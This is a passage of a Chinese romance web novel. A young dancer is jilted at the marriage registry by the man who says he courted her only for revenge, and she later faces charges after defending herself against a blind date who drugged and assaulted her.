培训班刚下课,她走下楼梯,看见正门外的靳子煜,他一手拄拐,另只手肘弯里挂着,她前两天新买的长款灰色羽绒服。
上午出来时风还没这么大,气温也没有直线下降,她只穿了件单薄的羊绒大衣,靳子煜担心她冻着,来接她下课,顺便把羽绒服一块给她带过来。
靳子煜是孟坤看不上的残疾人,但是与他在一
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起,他照顾她更多。
来列假第一天她会肚子疼,他查找资料办法,给她煮红糖水,不让她碰一丁点冷水,连她的内衣裤都是他亲自手洗;施凝语在舞蹈教室坠楼身亡后,她有一年多害怕黑暗,冬天一到五点,天就黑了,那时他天天在三号楼楼下等她,接她回家,偶尔晚上她做噩梦,醒来她睡不着,他便陪她聊天,聊到她睡着为止;她不擅长做饭,他按照她的喜好做她爱吃的菜给他吃,知道她不吃葱,有次在外面吃饭,老板忙忘了,给她喜欢的那道菜里加了葱,他不声不响,用筷子一根一根挑出来。
他们之间没什么轰轰烈烈的故事,只有靳子煜对她绵长温润的爱。
他的诚意早在很多年前她就看到了。
到达民政局,孟秦书戴上墨镜,拿了最重要的两样东西下车,车门一开,寒风蹿进来,她瑟缩了一下身体。
为了这个重要的节日,为了好看,她特意穿了一件玫红色浴袍款大衣,大衣领子是大翻领,里面白色的针织长裙又是圆领的,滴水成冰的天气,凛冽的寒风像刀子割在她所有暴露在外的皮肤上。
长发被吹得胡乱拍打在脸上。
其实,她这副打扮,很容易被人认出来,但认出来又如何,她要和自己爱的人结婚,这不是什么见不得人的事。
民政局大门面朝露天停车场,门前有二十多级的台阶,不断有准新人走上台阶,说说笑笑声,还可看到每对脸上都洋溢着幸福满足的笑容。
倚在车头前的孟秦书回收视线,中指推了推,鼻梁上滑下来的墨镜,在用这只手,从另个口袋掏出手机,看了眼时间。
8:55。
还有五分钟民政局开门。
再次环视一圈周围,没看到靳子煜的人影,孟秦书低下头,只一会儿功夫,她的手指就被冻得快失去知觉。
只不过,天气虽不好但她的心里是暖的。
滑屏找到靳子煜的手机号,她拨了过去,手机放在左耳边,但只笃一声,便传出一个机械冰冷的女声。
——你所拨打的号码已关机。
关机?
“小书。”
还没来得及思索,什么情况,孟秦书听到一道熟悉的自带慵懒痞气的男声。
孟秦书倏然转头,看到的是西服外面套长款羽绒服,脸上挂着笑容的姚宇。
昨天说好的,姚宇如约而至。
“阿辞有些事情处理,来不了,你男朋友呢?”姚宇问她这句话时,眼睛在四下搜寻,没看到那个人,他的目色沉下来,问,“姓靳的人呢?”
结婚这种事,一个女人表现得比男人更积极,这算个什么事。
孟秦书心里有点慌,更多是担心靳子煜会不会路上出了什么事,她第二次拨过去,听到的还是那个冷冰冰的女声,她调转身要回车里,准备开车去找靳子煜。
可突然间,被身后的姚宇一把握住一条胳膊,孟秦书回头,她被冻出了鼻涕,一吸一吸地解释给他听,“我担心他....我去找找他。”
姚宇没有要放手的意思,反而越箍越紧,孟秦书哑着声央求他,“宇哥,我要去找他。”
“你打算去哪里找他?”姚宇这个人向来吃软不吃硬,软下声问她。
孟秦书挤出一个惨淡的笑,“去他家等他。”
只要没出事,靳子煜一定会回家。
她不希望他出事。
但……不会那样。
“你受惯了镜头,受惯了万人瞩目,可我不想我这副样子出现在电视上,任人指摘。”
是这个原因吗?
子煜。
姚宇实在不放心孟秦书以这种心情开车,“坐我车,我带你去。”
说罢,拉着孟秦书往自己车停的方向走。
担心他出事?
可真会赶趟。
最好是这样,不然,他弄死这个姓靳的。
45. 两清了
手心里的电话在这个时候响起来,孟秦书止住脚步,姚宇被她带停。
一看是靳子煜的回电,孟秦书转忧为喜,接起电话放在耳边,四下扫视,“子煜,到了是吗?”
“孟秦书。”
今天的天气已够冷了,听筒里靳子煜的声音比天气还要寒凉,孟秦书猝不及防地怔住,寒风吹到她面颊僵硬,她张嘴尤为困难,“怎....怎么?”
“你还没看出来吗?”
“什什么?”
“七年前,你对我说过的话,我从没忘记。孟秦书,你是忘记了吗?”他语调低缓,嗓音阴冷森寒到不像他本人,“你凭什么认为我会原谅你?”
就好像站在悬崖上被突然出现的一只手推下去,心脏急速下坠,她似乎看到了巨浪滔天的幽蓝大海,还有一条张着血盆大口等待吃掉她的大白鲨。
惊恐无助。
靳子煜继续悠悠地道,“当年你看不上我这个残废,而今却被我这个残废玩弄,我们两清了,孟秦书以后不要再出现在我面前。”
这段话于孟秦书而言,说是五雷轰顶都不过,她腿软一下,几乎要跪下去,幸得旁边的姚宇搀住她。
姚宇虽听不到电话里面姓靳的说的什么,但能把孟秦书的脸吓白,吓得身子都在哆嗦,一定不是什么好话。
姓靳的真不是个男人。
他贴在裤腿的左手握成拳头,手背上的青筋清晰可见,姚宇有想砍人的欲//望。
孟秦书委屈惊措地连连摇头,攥住发热的手机,极力稳住发抖的嗓子,可是还是出现微微颤音,“子煜,当年不是你想的这样的,你在哪里我把一切都告诉你,我一五一十的告诉你,我—”
话讲一半,靳子煜直接就挂断了电话。
放下握手机的手,孟秦书又要往回跑,只是姚宇不让她走,姚宇脾气上来了,额头青筋隐隐跳动,吼:“小书你还去找他做什么!”
“我要去跟他解释,我告诉他当年我没抛下他,我真的没有抛下他。”
孟秦书挣扎推搡,只想往前冲,姚宇把她强行拽回来,扣住她的双肩,强迫她面向自己。
墨镜从孟秦书脸上掉下,落在水泥地上,一个镜腿摔断。
她泛红的眼圈,蓄满泪的眼,委屈彷徨的眼神,出现在姚宇眼前。
姚宇见过不讲道理的孟秦书,见过蛮横的孟秦书,还见过不知好歹非要和他对着干的孟秦书,却从未见过红眼服软的孟秦书。
眼瞳微震。
有一对男女从他们旁边的白车上下来,再从他们面前经过,女人频频回头看他们。
拐角处立在垃圾桶旁抽烟的霍清辞好似听到姚宇控诉似的怒火,他把烟头摁灭在垃圾桶边沿,扔入垃圾桶内,朝声音发出的方向走过去。
等这对男女走了,姚宇再开口,他不想再吓到孟秦书,尽量心平气和地说,“小书,姓靳的他耍你,你上赶着贴上去做什么!你们分开是这个原因吗?是姓靳的他根本不信任你,当年分手,他但凡来找你一次,阿辞会不把真相告诉他吗?他有吗?他根本没有!”
可他还是越说越气愤,太阳穴凸凸地跳,“而且你这七年不是消失的无影无踪,你是明星,大明星,他能不知道你在哪里,他来找过你吗?小书我问你,他来找过你吗!你知道我为什么不喜欢这个人吗?他自卑又怯懦,没有一个男人的担当,当年你担心他身体恢复不好,影响终生,你让阿辞冒充你给他发信息,你处处为他考虑,可他呢,他对你的只有埋怨还有恨,甚至下作的报复你。”
要不是现在是法制社会他非剁了这个混账不可。
孟秦书头脑混乱如麻,只知一味的摇头,眼泪流满两颊,“我只要把真相告诉他,我们就会和好的,一定会的……我要去找他。”
说服不了这个臭丫头,姚宇只好陪她走一趟,“走,带你去。”
两人刚要迈腿,不远处拐出来的霍清辞看到了他们,他们一样也看到了他。
姚宇身旁孟秦书神色恹恹得,霍清辞有种不好的预兆,迈大步疾走上去,
霍清辞一上来就问姚宇,“怎么回事?”
但他的眼睛关注的却是孟秦书,只见她垂着眼皮,脸颊上的泪痕仿佛凝结成了薄冰还会反光,鼻尖有一点红是被冻出来的。
姚宇黑着一张脸,“去车上说。”
姚宇的车是一辆大轮毂的黑色越野车,后座空间宽敞,孟秦书和霍清辞坐在后座,座椅中间留出的空隙,还能在座两个人。
车驶出民政局,汇入主路,平稳行驶。
姚宇边开车边把刚才发生的事给霍清辞讲述了一遍。
霍清辞安静听完,脸上没有起什么波澜,只在侧眸看到孟秦书呆滞无神地盯着正前方皮椅靠背时候眼里闪过一抹痛色。
只因为他仿佛又看到了当年那个把自己关在房间里,连太阳都不愿见的女孩。
他用了好久把她带出来。
靳子煜你敢欺负她,我会让你付出代价。
霍清辞目色深沉近墨,似能滴出墨汁,里面似有火苗在蹿动。
*
靳子煜家里门的人脸识别有她的记录,孟秦书识别到脸自小门进入,穿过院子,到别墅正大门,她敲了敲门,给她开门的是静姐。
“学校放寒假了,靳教授回T市过年了,靳教授没和你说吗?孟小姐?”
靳子煜是故意躲着她。
孟秦书垂下头,垂下身体两边的手,紧握成拳。
主驾驶的车窗降下一半,刺骨的冷风迎面而来,姚宇望着别墅门口的孟秦书,吃着冷空气对后排的霍清辞说,“阿辞,姓靳够有心计也够狠,一招杀人诛心。”
霍清辞静静望着车窗外站在门口一动不动的孟秦书,没接姚宇的话。
当年那个可以为了小书,冒着被学校处分、不惜下跪为她找到目击证人的男人,现在为了报复她当年舍弃他这个仇,设下这么大一个骗局,七年真能让一个人‘脱胎换骨’吗?
霍清辞愈发看不透人心。
“姓靳的不是说他年收入七八十万吗?怎么买得起这么大的别墅?”
大学老师有副业不足为奇,但这个人心机够深的,另有收入来源,那天在饭桌上硬是一句没透露。
霍清辞推开车门,跳下车,甩上车门,迈大步走向铁门。
只是,铁门拦住了霍清辞的去路。
姚宇关车门追上来,“阿辞,外面挺冷的,去车里等。”
霍清辞不像他穿着长款
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羽绒服,他身上的大衣虽厚实,但远不及羽绒服保暖。
霍清辞扭身看姚宇,轻笑道,“你以为我是纸糊的?”
灰蒙蒙的天空下,霍清辞头发里那几根银白的发丝不是很易看见,实际上并不影响这个男人的颜值,但就好像是完美无瑕的白色瓷器,出现了一道裂痕,让人特别难以接受。
姚宇往前走到与霍清辞平行,视线随便找个地方放置,心思却还在霍清辞身上。
唐蔓说,出现白发是霍清辞换了一种药后产生的副作用,也就这半个月的事情。
颜值在生命面前不值一提,最让人担心的是他这个病。
曾经都已为治愈的病,竟是靠药物在控制,而这种药物他一吃就是几十年,药物的毒性致使他身体的各个脏器都出了问题,最先出问题是肾脏。
这么多年,霍清辞把这些事瞒得滴水不漏,他们没一个人知道。
孟秦书双手插兜走出来,向二人弯了弯眼眸,“我想回家了。”
也就是这时,孟秦书注意到了霍清辞满头黑发里出现突兀的白发,数量不多,但黑白色差十分惹眼。
发觉孟秦书眼色变化,霍清辞翘翘嘴角,轻描淡写道,“少白头,脑力用多了。”
刚才霍清辞没有跟姚宇过去见孟秦书,是不想给即将领证的小书添堵,想让她高高兴兴的的去领证。
一旁的姚宇不作声,阿辞不会告诉任何人与他病情有关的事,除非瞒不住。
“三十三岁少白头?”孟秦书似自言自语地喃喃。
见孟秦书还有心情调侃他,霍清辞挑眉笑笑道,“口误,是我老了。”
“脸?”
“酒喝多了摔的。”
只要涉及病情,阿辞嘴里就没有一句真话,不止是小书,对他们也一样。
*
回到家里,孟秦书进家门第一件事,给靳子煜发了条微信。
结果却是时隔多年后他第二次把她拉黑了。
直到第二天早晨,孟秦书试着再给靳子煜发一遍信息,他没把她提出黑名单,此刻,她意识到他真的不要她了,迟来的恐惧、心痛凶猛来袭。
孟秦书打车到民政局,开走了自己的这辆车,她导航设置的目的地是靳子煜老房子。
近五个小时的车程,于下午一点到达,单元楼下的停车位。
让孟秦书惊喜的是,她真的看到了靳子煜的车横停桐树下规划好的停车位内。
孟秦书一口气跑上三楼,她猛拍防盗门,一边拍一边叫靳子煜的名字。
持续近五分钟的吵闹,引来了楼上楼下领居的围观,留在这种老房子里的多数是年龄大的老人,这个时间点多数在午睡,被她打扰到睡眠,老人们脸色都不好看。
一个戴着老花镜的老太太站出来好心说,“小姑娘,你叫了这么久,里面有人早出来了,肯定没有人。”
孟秦书高声且肯定道,“他在里面,他今天不出来,我不会走。”
靳子煜不但在里面,孟秦书还能感觉到他就在门后,她的话更是说给他听得。
说话间。
“咔哒。”一声。
防盗门往里打开,门缝越来越大,直到靳子煜从门后跨出来,出现在她面前。
46. 自作多情
孟秦书一头扎进眼前这个男人的怀里,她用得力气过大,男人下身稳不住一晃,孟秦书及时张开双臂环住他的腰身,熟悉的气息将她围困,而她心甘情愿沉溺其中。
靳子煜从不用香水,身上的香气经常会变化,有时是提神醒脑的薄荷味,有时清爽清冷的梅香,还有时是淡雅清甜的橙子味,取决于他所用的沐浴露,但每种味道吸入她鼻腔,都是令她踏实和迷恋的香气。
老房子没有暖气设备,屋里和屋外的温度相差无几,孟秦书穿着昨天的玫红色大衣,她紧箍住靳子煜,他身上这件黑色羽绒服因此被她按的凹下去。
“孟秦书你来做什么?”
他的气息一下子变得冰凉。
“砰。”
靳子煜轻推上防盗门,是不想被外面群老头老太太围观。
孟秦书掀眼看向他,他亦是垂眸在看她,只是他的眼神冷若冰霜充斥着漠然。
他们只不过一天两夜没见,孟秦书知道自己脸色一定不好看,但靳子煜并没比她好。
白皙洁净的面部泛着黄气,下巴处还冒出了少许青青的胡渣,英挺浓黑的剑眉在凌乱的额发遮盖下若隐若现。
温润的面部线条还因为在跟她置气而紧绷成坚硬的直线。
曾经如此温情的一张脸,纵使孟秦书知道他多有唬人的成分,但她仍禁不住脊柱生寒。
孟秦书没有要松手的意思,反而把他抱得更紧,如果真是惩罚....她也认了,他不知道那些事,站他的角度去看,她不仅仅只是提分手,而且还用残忍的语言重伤了他。
脸上硬挤出一丝笑,笑中带泪,孟秦书口气近似讨好道,“子煜,你说我们两清了,换句话说,我们可以重新开始是不是?”
靳子煜抬起黑眸,目光从她侧脸颊擦过去,看着正前方那扇关闭的房门。
昨晚靳子煜睡在这里,这些年他只逢年过节回来小住,平日都是江雪隔三差五过来打扫,距上次回来住,只半年,房子里又产生一股石灰味和霉味。
没人住的房子便会这样。
前两年,江雪提出过卖掉这套房,置换一套更大的,用作他以后回T市落脚的婚房,但他对老房子有了感情,不想卖。
也许早该卖掉的,那样她就找不到他了。
靳子煜抬起双手放在她的两节小臂上,骤然握住它们并往外掰,但他的声调却是异常平淡缓慢:“孟秦书以后不要再出现在我面前,这句话你是又忘了吗?”
两条手臂叠在一块用劲,跟靳子煜的力量抗衡着,即使手臂在他手里被按压很痛很痛,孟秦书硬不让半步,只因如果她放手,她知道将会彻底失去他。
“我不要!”孟秦书大声抗议。
不知是不是被她吓得,手臂上的力量一松。
孟秦书泪眼盈盈,她紧着说下去,“子煜,你不想被拍,不想出现在大众视野里,我退圈,我马上退圈,我不做明星了,我再也不做明星了,好不好?”
但她似乎说错了什么,靳子煜突然就使大力,让她的双手被迫从他腰上移开。
而且他更是害怕似得着急地后退数步。
他的右腿往前走快了都会不稳,更别提往后,他趔趔趄趄,右手扶住玄关柜子,才得以站稳。
并且他毫无征兆地发怒,“孟秦书!别再自作多情了,我早就对你没感情了!”
这一嗓子把迈步逼近他的孟秦书吼停。
顷刻间靳子煜脸上似覆盖上一层寒冰,他一鼓作气道,“这些年我对你只有恨,九月校庆之后你主动接近我,我告诉你我当时怎么想的,我觉得你可笑又恶毒。既然你对我这个残废仍感兴趣,那我就将计就计,孟秦书我该感谢你,给我这个机会让我跟你讨回我过去在你这里所受到的羞辱,现在如我电话里所说的两清,但请你清楚一点,两清不是说我原谅了你,而是我不想在与你有任何牵绊。”
可笑又恶毒。
将计就计。
不想在与你有任何牵绊。
孟秦书难以遏制地颤抖着,红着眼,频频摇头,她抱着最后一丝希望问靳子煜,“子煜,如果说我当年离开你是迫不得已,你……我们还有可能吗?”
抓握柜子边沿的五根手指,根根指节发白,靳子煜将其收拢紧握成拳头。
他目光灼灼地看着孟秦书,薄唇轻启,声音很冷,“孟秦书我对你没有感情了。”
没有感情……
那些这些天……
真的是因……惩罚她在跟她演戏。
孟秦书手捂住心口,大颗大颗的眼泪涌出眼眶,源源不断地向下流淌,泪水浸湿了她细弱莹白的脖颈以及衣襟。
只不过,她的泪非但没让他动容,反而让他的目光愈来愈阴寒。
这样的靳子煜她前所未见。
孟秦书脸上迸出微笑,那微笑仿佛一层薄薄的冰,随时会裂开。
可怎么办,她还是不相信。
忽然间。
客厅沙发上躺着的黑色羽绒服引走了孟秦书的目光,她拔腿冲刺过去,是怕迟一步被靳子煜‘毁尸灭迹’。
靳子煜不明孟秦书跑进客厅是去做什么,脑海里最先出现的念头是她要赖在这里不走。
他慢吞吞转身面向客厅,却见孟秦书右手里举着从他那件羽绒服口袋里掏出来的项链盒。
眸光陡然缩了一下,靳子煜垂下眼睑,再抬起时恢复冷清。
孟秦书抖着声质问他,连同那只手都在发抖,“那你告诉我这是送给谁的?”
靳子煜边掏口袋里的手机边接近孟秦书,孟秦书目光不移的盯住他,靳子煜走到茶几边就停了,他拇指在手机上滑了几下,找到研究院同事的微信。
【靳教授这次去韩国可别再忘记给我带LA&Y家的项链。】
担心孟秦书听不清楚,靳子煜再给她听了一遍。
怕她不相信,靳子煜把手机屏幕转向孟秦书。
聊天界面上除了有语音,还有三万元的转账,时间是一月十四号正是靳子煜来之前前一天。
项链盒自孟秦书手中滑落。
自作多情,靳子煜说得没错。
这一刻孟秦书觉得自己是全天下最可笑的人,她想哭又想笑,手背胡乱抹过湿润冰凉的脸,碰触到自己上扬的嘴角,她想象不出来自己现在的样子,想必很滑稽。
房内似乎消音。
脑海里像放电影出现不同的画面,有在福利院被其他小孩欺负的她,有在孟家谨言慎行、察言观色的她,还有被孟坤像礼物一样送到霍家的她,以
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及那年瓢泼大雨蹲在雨中无处可依的她……
无数画面拼凑成她的小半生。
十指插入发缝中,孟秦书抱头绕开茶几,她仿佛无头苍蝇,漫无目地的到处走,要去哪里?
她不知道……她走投无路了。
利用、欺骗、丢弃、践踏,这才是她的人生,而不是幸福,这不属于她。
铺天盖地的疼痛好似要将她整个人席卷,绝望、崩溃如涨潮的海水,淹没了她的整个世界。
“咚”脚尖踢到茶几脚,孟秦书失去了所有力气,跄跌到了地上,她抱着双膝脑袋深深埋下去。
纤弱的肩膀持续抖着,平时流泪都嫌少出现在脸上的人,终于情绪失控地哭出声,那声音如同夜间的风,满是凄凉。
愤怒、绝望、委屈一起涌上心头,沉重地压迫感让她喘不过气来。
空气忽然变得稀薄,她是要死了吗?
肩头落下一只手,孟秦书如惊弓之鸟,再也忍不住地凄厉嘶吼:“滚!!”
“滚!”
嘶吼撕裂了周围的宁静。
胸口剧烈起伏,泪水横流的脸上满是痛恨和绝望,孟秦书双手撑地爬起来,她冒头不顾地冲向门口,中途踉跄了两次,可她眼里只有那扇门,似乎只有打开这扇门她才能回到人间。
却未顾及到背后追她而来的男人,男人还是慢了一步,只听“砰!”一声巨响,女人消失在他眼前,眼前只余下紧闭的墨绿色大门。
女人的每一声啼哭,都像刀子,一下一下的剜着男人的心,他再也无力支撑了,倾倒下去,双膝撞地,惶然跪在地上。
这样.....也好。
也好。
可突然,男人涣散的目光迸出惊恐,伸手握住门把手,他先支起左腿,再带起右腿,站起来第一时间,他打开门,快走至扶梯,因步子迈得快,且没有拿手杖,致使他步履凌乱,摇摇晃晃,形同醉汉,又仿佛一阵风就能刮倒。
已到一层的孟秦书在倒数第四级台阶撞见正要上楼的霍清辞。
孟秦书冲他笑笑,声若浮丝,“哥,你怎么来了?”
霍清辞上前一步,孟秦书眼一闭,倒入他怀里,霍清辞一把抱住孟秦书,眼里流露出心疼,再将她打横抱起,转身快速往楼下走。
黑色宾利停靠在不远处的花坛边,司机陈军看到霍清辞抱着个女人往这里走来,赶紧拉开后座车门。
霍清辞弯身把昏迷中的孟秦书平放在座椅上,捞来角落叠好的毛毯,盖在她身上。
而这时候,间隔不到半分钟,孟秦书醒了。
她不过是因情绪过激才晕倒。
霍清辞温言,“我先送你回去,你的车我会让人开回海城。”
孟秦书只觉很累,阖起双眼,她的眼皮很薄,能隐隐看见血管。
霍清辞从车内退出来直起身,头晕眼花的不适感,让他闭了闭眼,右手扶住车门框歇力。
宾利右拐进入小区主路,随即消失不见。
车一走,一楼角落里的靳子煜走出来,走到单元楼门口。
他追下来是为了阻止孟秦书开车回去,如果因为他的原因,孟秦书出了什么事,他一辈子难安。
现在看到她坐霍清辞的车回去,他也能安心了。
47. 没有未来了
七月二十二号中午,宋珍珠带孟秦书去海城‘梅苑’赴约。
‘梅苑’是一家高奢私房菜馆,坐落在市内外部人士嫌少踏入的锦府。
锦府有百年历史,亭台楼阁,外观庸常,却是海城顶级别墅区,霍家便是其中一栋,孟秦书经常来并不陌生。
孟秦书今天要见的这位楚彬楚公子,近千亿身家与孟家财力不相上下,可以说是门当户对,楚公子还是独生子,但年龄到了三十岁还没结婚。
偏偏人家不但学识渊博,而且模样还生的好,不仅如此人家财商更高,早早在国外创办了自己的公司,只自己手里的公司年收入就近十亿。
坐在包厢里等那位传闻中的楚公子来前,宋珍珠在孟秦书耳旁不停地夸赞这位青年才俊。
孟秦书无事可做,只能靠翻转手心里的手机来转移注意力。
这家店早些年孟秦书经常被霍清辞带来吃饭,人均五六千的店,采取预约和筛选机制,只接待名流权贵,但却成了霍清辞的私人饭堂。
‘梅苑’室内低奢典雅,比外观好看很多,一个套间一百多平的用餐环境,如果用餐完毕想歇息或者临时需要处理公事,推开孟秦书背后那扇红木色的双开门,里面是间休息室,与酒店布置的一样,该有的基础设施一应俱全。
开门声让包厢内的两人一起扭头。
大门是由两名长相标致,身材高挑的服务员打开的。
进门的男人理了个寸头,目光炯炯有神,黑色休闲西服套装,高大板正的身材,有种战士气概。
每次只要看到肩宽的人孟秦书都会不自主地把霍清辞拉出来和这些人比较。
这人三庭五眼如宋珍珠所言不差,可以说已经超越了百分之八十的富二代,但和霍清辞比起来,实事求是说还是差远了。
说起来她已有大半年没见到霍清辞,自结婚后半接手家族企业,他变得格外忙碌,记得最后一次见面在市一住院部楼下,他一声招呼都不打来看靳子煜,她不知道霍清辞和靳子煜说了什么,但挺感谢他上次开了四个多小时车送她来医院找靳子煜。
手臂被送宋珍珠撞了撞,
她又晃神了。
孟秦书眨了眨眼,回归现实。
“小书,你好,我是楚彬。”
楚公子不知道什么时候走到她身边的,自我介绍完对她点头致意。
孟秦书站起身点头回礼,“你好,我是孟秦书。”
楚彬请她落座,在之后他在拉开椅子坐她斜对面的主位,两人之间隔了三把椅子,桌子是八人的小圆桌,方便正常聊天,但几乎都是宋珍珠在问楚彬在答。
礼貌谦和。
孟秦书只一味地吃,这儿的菜口味十年未变,让她食欲大开。
忽然,宋珍珠又用胳膊肘推推她,孟秦书停止吃菜,宋珍珠便在她耳旁低语,“妈妈先回去,你和彬彬好好聊,他虽然比你大了八岁,但年龄长点,会照顾人,考虑问题也周到,一个人怎么样,妈妈说得天花乱坠也没用,你们得自己去了解。”
宋珍珠走了,给他们留出共处的时间。
孟秦书舀了半碗高汤,垂下眉眼,手握调羹,一下又一下在汤里翻搅。
“小书,听阿姨说,你研究生回海城读,依然攻读古典舞专业,你未来是想做一名舞蹈老师?”
孟秦书抬头,楚彬正微笑着看着她,她只是走个过场,不想与他深谈,应付地答,“是。”
即使楚彬埋藏的很深,但她仍从他皮笑肉不笑地脸上,看出他对舞蹈这种专业的轻视。
和她前面相亲遇见的两个人一样,他们看不起她的专业,可又喜欢她的皮囊,说得直白点喜欢她的年轻貌美。
前面那两个,眼睛是眼睛鼻子是鼻子,只能说不难看,他们与她相亲,目的很简单,单纯喜欢漂亮得女人,他们能给她的,她需要提供他们的,这些都放在桌上说,倒也坦诚。
楚彬无疑和他们是一种人,这类人多数是外面玩得很花,到年纪了,需要找一位门当户对最好貌美如花的妻子来家里做个摆件。
楚彬怎么看不出孟秦书兴致阑珊,每次他的提问,她回答都很简略很敷衍。
大概十年前他跟父亲去孟家见过这个女孩,那时她还是初中生,但那张脸已像花瓣一样娇艳欲滴,上个月他收到这个女孩的照片,打开邮件点开照片,照片中的她明眸善睐,肌肤白皙如雪,洋溢这一种清冷而高雅的气质,仿佛一朵含苞待放的白花,即使见过数不清的美女,但他仍有被这张脸惊艳到。
当时他挺想马上赶回来的,只是那边的生意绊住了他。
一高一矮两名服务员进门,矮个服务员端着两碗燕窝莲子羹,楚彬朝她们招招手示意先放到他这里,她们当即会意,绕了半张桌子到楚彬身边,再由个高的把燕窝莲子羹轻置在男人面前转盘上。
托盘上还有两小蝶金黄色的干桂花,是用来撒在莲子羹上提升香气和风味的。
服务员拿起小碟子正要动手被男人抬手制止,“我来为女士服务,你们出去吧。”
放下两小碟桂花,两位服务员鞠了个躬,一前一后走出去。
大门关闭。
楚彬端着由他撒好桂花的燕窝莲子羹走到孟秦书边上。
“小书,趁热吃,杏花泡久了会串味,吃完我送你回去。”
孟秦书正在给靳子煜编辑信息没注意听。
碗底轻轻叩在桌面上,听到微响的孟秦书瞥见装了燕窝莲子羹的青瓷碗,一抬头看到近在跟前的楚彬俯视下来的目光。
孟秦书再度垂眸,拉来小碗,对楚彬道了声谢谢。
*
MQS【霍清辞救我】
文字下方是地点定位。
定位在‘梅苑’。
霍清辞看到这条微信已是第二天。
微信发送时间是七月二十二日下午二点十分。
这半年他都在美国,不是在工作,而是接受长达半年的保守治疗,但效果不佳,已于三天前做手术,摘了左边那颗肾脏。
不是没肾可换而是换肾对他已无用处。
其实它工作已够久了,七年,那年出国便是去换肾。
还有右边一个肾不知道还能管多久。
霍清辞的身体没达到出院标准,但当他从时秘那儿得知孟秦书因故意伤人被批准逮捕,而她自己还因跳楼而受伤之后,霍清辞哪里还躺得下,火急火燎地让时秘买了当天的机票赶回国。
霍清辞于七月二十四日下午一点到达国内。
回到国内霍清辞动用了点关系进病房,见到了穿着病号服满脸伤痕的孟秦书。
邓律说她从三楼上跳下来,正好砸在一辆越野车车顶上,两根肋骨骨折,是内伤,她的外伤是楚彬造成的。
孟秦书身上看不见的地方遍布齿痕,还有鞭子抽打的痕迹,额头、脸颊上的伤是楚彬抓住她头发,拿头砸床头柜撞出来的。
听到是一回事,看到真实情况又是另一回事,霍清辞瞳孔内近似发生地震,嘴唇紧绷成一条线,牙关紧紧咬着,脸颊肌肉突突跳着,
可是——
孟秦书自己报仇了。
邓律说她在被楚彬完全压制的情况下逃脱,捡起地上摔断裂的塑料衣架,刺瞎了楚彬的一只左眼。
却也被因
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此面临刑事指控。
如今对方律师以故意伤害罪特别残忍手段致人重伤提出刑事诉讼,并不要求赔偿只求重判。
如果判决认定将会处十年以上有期徒刑、无期徒刑或者死刑。
孟秦书事先被下了会让人昏昏沉沉的迷//药,而且这一身伤都是出自楚彬只手,邓律告知他,现在可以从正当防卫入手,但保不准还会坐牢,可能三年至五年。
他的诉求是一天都不能,孟秦书绝对不能获罪服刑。
“霍清辞。”
病床上的坐着的孟秦书见霍清辞进病房,但他只走了三四步不走了,而是脸色极差地盯着她若有所思。
霍清辞肯定也已经知道她刺瞎了楚彬这件事,她这么狠毒残酷,他一定被吓到了吧。
孟秦书咬着唇,咬到嘴唇发白才松口。
沉思发愣中的霍清辞因熟悉的一声骤然回过神。
霍清辞往前走,腰部的痛感似一把火蹿上来,有些痛不是说咬牙就能忍住的。
他苍白的脸色、额头一颗颗渗出的汗珠,缓慢的走路姿势,尽落到孟秦书眼睛里。
孟秦书晦暗的眼眸闪过一道诧异和关心,“霍清辞,你怎么了?”
霍清辞双手握住床尾的护栏,风轻云淡地答,“做了个肾结石手术。”
他的回答不露任何破绽,孟秦书对此深信不疑。
可孟秦书突然跳下床,跑到他身侧,什么都没说就给他下跪。
霍清辞身子一僵,侧过身来面朝她,只是他手术刀口的线还没拆,弯不下腰。
孟秦书抱住他的双腿,哑着声请求他,“霍清辞,我的手机被他们拿走了,你能不能拿回来,我知道你有办法的,你能帮我给子煜发几条信息,每天回一条就行,只需要一个月,现在不能让他知道我出了这种事情,你帮帮我好不好?”
心中犹如翻腾着海浪,霍清辞短出一口气,只能请她起来,“小书,起来,现在是什么时候,你该考虑的是你自己而不是靳子煜。”
孟秦书一个劲摇头,眼圈转瞬通红,“我没有未来了,我知道,我不怕死,但我不能害了他,霍清辞求求你帮帮我,他前天才做完手术,不能走动、不能激动、我不能害了他,只要一个月,一个月……霍清辞你帮帮我好不好?”
霍清辞拒绝不了孟秦书,当晚他拿到孟秦书的手机,坐在书桌前,先给手机充电,然后长摁开机键,屏幕点亮,数不清多少条信息钻进来,机身震个不停。
五通电话,十二条微信信息,两条短信息。
孟秦书没有什么朋友,均是来自于靳子煜。
孟秦书消失了两天两夜,电话不接,信息不回,但凡是个正常人就不可能不着急,更何况还是这么相爱的两个人。
电话又来了,霍清辞直接掐断。
打开微信给靳子煜编辑信息回复过去。
发前霍清辞瞄一眼上面聊天记录,确定称呼无误才发出。
MQS【子煜,我的手机坏了,刚修好。】
对方正在输入中。
淡述【小书,不方便接电话吗?】
霍清辞快速编辑发出去。
MQS【听筒坏了,子煜,我被大学老师推荐去京市舞蹈学院研学,一个月时间,这个机会很难得,时间比较紧,我没来得及当面把这件事告诉你,我以于昨天过去了。】
靳子煜这么聪明不可能没发现异常,但有回复总比失联好,至少有个念想和盼头。
五分钟后靳子煜回信息过来。
淡述【小书,发信息方便吗?】
MQS【白天需要训练,晚上六点过后。】
48. 年三十
年三十这天中午,孟坤和孟媛一道下楼,敲开孟秦书的房门,邀请她去楼上过节。
出院后的孟坤跟变了个人一样,全没在精神病院见面时向她扔出椅子那股子杀气,和蔼多了,有时甚至表现得有些许唯唯诺诺。
她和靳子煜得事,她的反常,明眼人都看得出来,孟坤和孟媛自不例外,他们一句不问她,大概也是知道问她,她也不会作答,还有可能会惹得她更不高兴。
孟秦书接受邀请,“好,给我一个小时。”
这五天里孟秦书除了偶尔去楼上坐坐,剩下的时间都把自己关在房子里,在此期间霍清辞天天来看她,有时中午有时下午,姚宇有孩子需陪伴来过两次。
知道他们是关心她、担心她,只要他们在孟秦书还是会努力扬起笑脸陪他们说说笑笑,偶尔兴血来潮,还会做几道简单的菜,留他们吃中饭或是晚饭。
出门前她收到姚宇和霍清辞的新年祝福短信。
新年快乐,他们又长了一岁。
拉上房门,孟秦书给他们回复“新年好。”
很快收到两个哥哥给她发的红包,每人两百元,年年如此。
出门就是电梯,金黄色梯门上,贴了一副红字对联。
左边为一帆风顺年年好,右边为万事如意步步高,
孟坤从前就是衣来伸手,饭来张口的人,自是不会做饭做菜,孟媛和后来聘请的一位五十多岁的女保姆在厨房忙碌。
那位男护工每天的工作就是为孟坤做料理机打碎的营养餐,现在孟坤身体已恢复七八成,他的任务轻了很多,这次过年男护工开口要回家,孟秦书也就让他去了。
